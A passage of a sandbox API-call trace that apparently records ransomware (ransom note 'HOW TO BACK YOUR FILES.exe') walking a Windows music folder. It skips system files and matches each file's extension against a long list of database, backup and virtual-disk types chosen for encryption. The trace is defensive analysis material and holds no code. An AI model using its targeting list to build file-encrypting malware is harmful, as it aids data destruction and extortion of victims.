	[0035.997] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.997] lstrlenW (lpString="te") returned 2
	[0035.997] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.997] lstrlenW (lpString="teacher") returned 7
	[0035.997] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.997] lstrlenW (lpString="tmd") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.997] lstrlenW (lpString="tps") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.997] lstrlenW (lpString="trc") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.997] lstrlenW (lpString="trc") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.997] lstrlenW (lpString="trm") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.997] lstrlenW (lpString="udb") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.997] lstrlenW (lpString="udl") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.997] lstrlenW (lpString="usr") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.997] lstrlenW (lpString="v12") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.997] lstrlenW (lpString="vis") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.997] lstrlenW (lpString="vpd") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.997] lstrlenW (lpString="vvv") returned 3
	[0035.997] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.997] lstrlenW (lpString="wdb") returned 3
	[0035.998] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.998] lstrlenW (lpString="wmdb") returned 4
	[0035.998] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.998] lstrlenW (lpString="wrk") returned 3
	[0035.998] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.998] lstrlenW (lpString="xdb") returned 3
	[0035.998] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.998] lstrlenW (lpString="xld") returned 3
	[0035.998] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.998] lstrlenW (lpString="xmlff") returned 5
	[0035.998] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.998] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2db71390, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2db71390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.998] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.998] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="..") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="windows") returned -1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="bootmgr") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="temp") returned -1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="pagefile.sys") returned -1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="boot") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ids.txt") returned 1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ntuser.dat") returned -1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="perflogs") returned -1
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="MSBuild") returned -1
	[0035.998] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0035.998] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini") returned 46
	[0035.998] lstrcpyW (in: lpString1=0x2d3e596, lpString2="Kalimba.mp3" | out: lpString1="Kalimba.mp3") returned="Kalimba.mp3"
	[0035.998] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0035.998] lstrlenW (lpString="Apollon865") returned 10
	[0035.998] lstrcmpiW (lpString1="alimba.mp3", lpString2="Apollon865") returned -1
	[0035.998] lstrlenW (lpString=".dll") returned 4
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".dll") returned 1
	[0035.998] lstrlenW (lpString=".lnk") returned 4
	[0035.998] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".lnk") returned 1
	[0035.999] lstrlenW (lpString=".ini") returned 4
	[0035.999] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".ini") returned 1
	[0035.999] lstrlenW (lpString=".sys") returned 4
	[0035.999] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".sys") returned 1
	[0035.999] lstrlenW (lpString="Kalimba.mp3") returned 11
	[0035.999] lstrlenW (lpString="bak") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0035.999] lstrlenW (lpString="ba_") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0035.999] lstrlenW (lpString="dbb") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0035.999] lstrlenW (lpString="vmdk") returned 4
	[0035.999] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0035.999] lstrlenW (lpString="rar") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0035.999] lstrlenW (lpString="zip") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0035.999] lstrlenW (lpString="tgz") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0035.999] lstrlenW (lpString="vbox") returned 4
	[0035.999] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0035.999] lstrlenW (lpString="vdi") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0035.999] lstrlenW (lpString="vhd") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0035.999] lstrlenW (lpString="vhdx") returned 4
	[0035.999] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0035.999] lstrlenW (lpString="avhd") returned 4
	[0035.999] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0035.999] lstrlenW (lpString="db") returned 2
	[0035.999] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0035.999] lstrlenW (lpString="db2") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0035.999] lstrlenW (lpString="db3") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0035.999] lstrlenW (lpString="dbf") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0035.999] lstrlenW (lpString="mdf") returned 3
	[0035.999] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0036.000] lstrlenW (lpString="mdb") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0036.000] lstrlenW (lpString="sql") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0036.000] lstrlenW (lpString="sqlite") returned 6
	[0036.000] lstrcmpiW (lpString1="ba.mp3", lpString2="sqlite") returned -1
	[0036.000] lstrlenW (lpString="sqlite3") returned 7
	[0036.000] lstrcmpiW (lpString1="mba.mp3", lpString2="sqlite3") returned -1
	[0036.000] lstrlenW (lpString="sqlitedb") returned 8
	[0036.000] lstrcmpiW (lpString1="imba.mp3", lpString2="sqlitedb") returned -1
	[0036.000] lstrlenW (lpString="xml") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0036.000] lstrlenW (lpString="$er") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0036.000] lstrlenW (lpString="4dd") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0036.000] lstrlenW (lpString="4dl") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0036.000] lstrlenW (lpString="^^^") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0036.000] lstrlenW (lpString="abs") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0036.000] lstrlenW (lpString="abx") returned 3
	[0036.000] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0036.000] lstrlenW (lpString="accdb") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accdb") returned -1
	[0036.000] lstrlenW (lpString="accdc") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accdc") returned -1
	[0036.000] lstrlenW (lpString="accde") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accde") returned -1
	[0036.000] lstrlenW (lpString="accdr") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accdr") returned -1
	[0036.000] lstrlenW (lpString="accdt") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accdt") returned -1
	[0036.000] lstrlenW (lpString="accdw") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accdw") returned -1
	[0036.000] lstrlenW (lpString="accft") returned 5
	[0036.000] lstrcmpiW (lpString1="a.mp3", lpString2="accft") returned -1
	[0036.000] lstrlenW (lpString="adb") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0036.001] lstrlenW (lpString="adb") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0036.001] lstrlenW (lpString="ade") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0036.001] lstrlenW (lpString="adf") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0036.001] lstrlenW (lpString="adn") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0036.001] lstrlenW (lpString="adp") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0036.001] lstrlenW (lpString="alf") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0036.001] lstrlenW (lpString="ask") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0036.001] lstrlenW (lpString="btr") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0036.001] lstrlenW (lpString="cat") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0036.001] lstrlenW (lpString="cdb") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0036.001] lstrlenW (lpString="ckp") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0036.001] lstrlenW (lpString="cma") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0036.001] lstrlenW (lpString="cpd") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0036.001] lstrlenW (lpString="dacpac") returned 6
	[0036.001] lstrcmpiW (lpString1="ba.mp3", lpString2="dacpac") returned -1
	[0036.001] lstrlenW (lpString="dad") returned 3
	[0036.001] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0036.001] lstrlenW (lpString="dadiagrams") returned 10
	[0036.001] lstrcmpiW (lpString1="alimba.mp3", lpString2="dadiagrams") returned -1
	[0036.001] lstrlenW (lpString="daschema") returned 8
	[0036.001] lstrcmpiW (lpString1="imba.mp3", lpString2="daschema") returned 1
	[0036.001] lstrlenW (lpString="db-journal") returned 10
	[0036.001] lstrcmpiW (lpString1="alimba.mp3", lpString2="db-journal") returned -1
	[0036.002] lstrlenW (lpString="db-shm") returned 6
	[0036.002] lstrcmpiW (lpString1="ba.mp3", lpString2="db-shm") returned -1
	[0036.002] lstrlenW (lpString="db-wal") returned 6
	[0036.002] lstrcmpiW (lpString1="ba.mp3", lpString2="db-wal") returned -1
	[0036.002] lstrlenW (lpString="dbc") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0036.002] lstrlenW (lpString="dbs") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0036.002] lstrlenW (lpString="dbt") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0036.002] lstrlenW (lpString="dbv") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0036.002] lstrlenW (lpString="dbx") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0036.002] lstrlenW (lpString="dcb") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0036.002] lstrlenW (lpString="dct") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0036.002] lstrlenW (lpString="dcx") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0036.002] lstrlenW (lpString="ddl") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0036.002] lstrlenW (lpString="dlis") returned 4
	[0036.002] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0036.002] lstrlenW (lpString="dp1") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0036.002] lstrlenW (lpString="dqy") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0036.002] lstrlenW (lpString="dsk") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0036.002] lstrlenW (lpString="dsn") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0036.002] lstrlenW (lpString="dtsx") returned 4
	[0036.002] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0036.002] lstrlenW (lpString="dxl") returned 3
	[0036.002] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0036.002] lstrlenW (lpString="eco") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0036.003] lstrlenW (lpString="ecx") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0036.003] lstrlenW (lpString="edb") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0036.003] lstrlenW (lpString="epim") returned 4
	[0036.003] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0036.003] lstrlenW (lpString="fcd") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0036.003] lstrlenW (lpString="fdb") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0036.003] lstrlenW (lpString="fic") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0036.003] lstrlenW (lpString="flexolibrary") returned 12
	[0036.003] lstrlenW (lpString="fm5") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0036.003] lstrlenW (lpString="fmp") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0036.003] lstrlenW (lpString="fmp12") returned 5
	[0036.003] lstrcmpiW (lpString1="a.mp3", lpString2="fmp12") returned -1
	[0036.003] lstrlenW (lpString="fmpsl") returned 5
	[0036.003] lstrcmpiW (lpString1="a.mp3", lpString2="fmpsl") returned -1
	[0036.003] lstrlenW (lpString="fol") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0036.003] lstrlenW (lpString="fp3") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0036.003] lstrlenW (lpString="fp4") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0036.003] lstrlenW (lpString="fp5") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0036.003] lstrlenW (lpString="fp7") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0036.003] lstrlenW (lpString="fpt") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0036.003] lstrlenW (lpString="frm") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0036.003] lstrlenW (lpString="gdb") returned 3
	[0036.003] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0036.003] lstrlenW (lpString="gdb") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0036.004] lstrlenW (lpString="grdb") returned 4
	[0036.004] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0036.004] lstrlenW (lpString="gwi") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0036.004] lstrlenW (lpString="hdb") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0036.004] lstrlenW (lpString="his") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0036.004] lstrlenW (lpString="ib") returned 2
	[0036.004] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0036.004] lstrlenW (lpString="idb") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0036.004] lstrlenW (lpString="ihx") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0036.004] lstrlenW (lpString="itdb") returned 4
	[0036.004] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0036.004] lstrlenW (lpString="itw") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0036.004] lstrlenW (lpString="jet") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0036.004] lstrlenW (lpString="jtx") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0036.004] lstrlenW (lpString="kdb") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0036.004] lstrlenW (lpString="kexi") returned 4
	[0036.004] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0036.004] lstrlenW (lpString="kexic") returned 5
	[0036.004] lstrcmpiW (lpString1="a.mp3", lpString2="kexic") returned -1
	[0036.004] lstrlenW (lpString="kexis") returned 5
	[0036.004] lstrcmpiW (lpString1="a.mp3", lpString2="kexis") returned -1
	[0036.004] lstrlenW (lpString="lgc") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0036.004] lstrlenW (lpString="lwx") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0036.004] lstrlenW (lpString="maf") returned 3
	[0036.004] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0036.004] lstrlenW (lpString="maq") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0036.005] lstrlenW (lpString="mar") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0036.005] lstrlenW (lpString="marshal") returned 7
	[0036.005] lstrcmpiW (lpString1="mba.mp3", lpString2="marshal") returned 1
	[0036.005] lstrlenW (lpString="mas") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0036.005] lstrlenW (lpString="mav") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0036.005] lstrlenW (lpString="maw") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0036.005] lstrlenW (lpString="mdbhtml") returned 7
	[0036.005] lstrcmpiW (lpString1="mba.mp3", lpString2="mdbhtml") returned -1
	[0036.005] lstrlenW (lpString="mdn") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0036.005] lstrlenW (lpString="mdt") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0036.005] lstrlenW (lpString="mfd") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0036.005] lstrlenW (lpString="mpd") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0036.005] lstrlenW (lpString="mrg") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0036.005] lstrlenW (lpString="mud") returned 3
	[0036.005] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0036.005] lstrlenW (lpString="mwb") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0036.006] lstrlenW (lpString="myd") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0036.006] lstrlenW (lpString="ndf") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0036.006] lstrlenW (lpString="nnt") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0036.006] lstrlenW (lpString="nrmlib") returned 6
	[0036.006] lstrcmpiW (lpString1="ba.mp3", lpString2="nrmlib") returned -1
	[0036.006] lstrlenW (lpString="ns2") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0036.006] lstrlenW (lpString="ns3") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0036.006] lstrlenW (lpString="ns4") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0036.006] lstrlenW (lpString="nsf") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0036.006] lstrlenW (lpString="nv") returned 2
	[0036.006] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0036.006] lstrlenW (lpString="nv2") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0036.006] lstrlenW (lpString="nwdb") returned 4
	[0036.006] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0036.006] lstrlenW (lpString="nyf") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0036.006] lstrlenW (lpString="odb") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0036.006] lstrlenW (lpString="odb") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0036.006] lstrlenW (lpString="oqy") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0036.006] lstrlenW (lpString="ora") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0036.006] lstrlenW (lpString="orx") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0036.006] lstrlenW (lpString="owc") returned 3
	[0036.006] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0036.006] lstrlenW (lpString="p96") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0036.007] lstrlenW (lpString="p97") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0036.007] lstrlenW (lpString="pan") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0036.007] lstrlenW (lpString="pdb") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0036.007] lstrlenW (lpString="pdm") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0036.007] lstrlenW (lpString="pnz") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0036.007] lstrlenW (lpString="qry") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0036.007] lstrlenW (lpString="qvd") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0036.007] lstrlenW (lpString="rbf") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0036.007] lstrlenW (lpString="rctd") returned 4
	[0036.007] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0036.007] lstrlenW (lpString="rod") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0036.007] lstrlenW (lpString="rodx") returned 4
	[0036.007] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0036.007] lstrlenW (lpString="rpd") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0036.007] lstrlenW (lpString="rsd") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0036.007] lstrlenW (lpString="sas7bdat") returned 8
	[0036.007] lstrcmpiW (lpString1="imba.mp3", lpString2="sas7bdat") returned -1
	[0036.007] lstrlenW (lpString="sbf") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0036.007] lstrlenW (lpString="scx") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0036.007] lstrlenW (lpString="sdb") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0036.007] lstrlenW (lpString="sdc") returned 3
	[0036.007] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0036.008] lstrlenW (lpString="sdf") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0036.008] lstrlenW (lpString="sis") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0036.008] lstrlenW (lpString="spq") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0036.008] lstrlenW (lpString="te") returned 2
	[0036.008] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0036.008] lstrlenW (lpString="teacher") returned 7
	[0036.008] lstrcmpiW (lpString1="mba.mp3", lpString2="teacher") returned -1
	[0036.008] lstrlenW (lpString="tmd") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0036.008] lstrlenW (lpString="tps") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0036.008] lstrlenW (lpString="trc") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0036.008] lstrlenW (lpString="trc") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0036.008] lstrlenW (lpString="trm") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0036.008] lstrlenW (lpString="udb") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0036.008] lstrlenW (lpString="udl") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0036.008] lstrlenW (lpString="usr") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0036.008] lstrlenW (lpString="v12") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0036.008] lstrlenW (lpString="vis") returned 3
	[0036.008] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0036.008] lstrlenW (lpString="vpd") returned 3
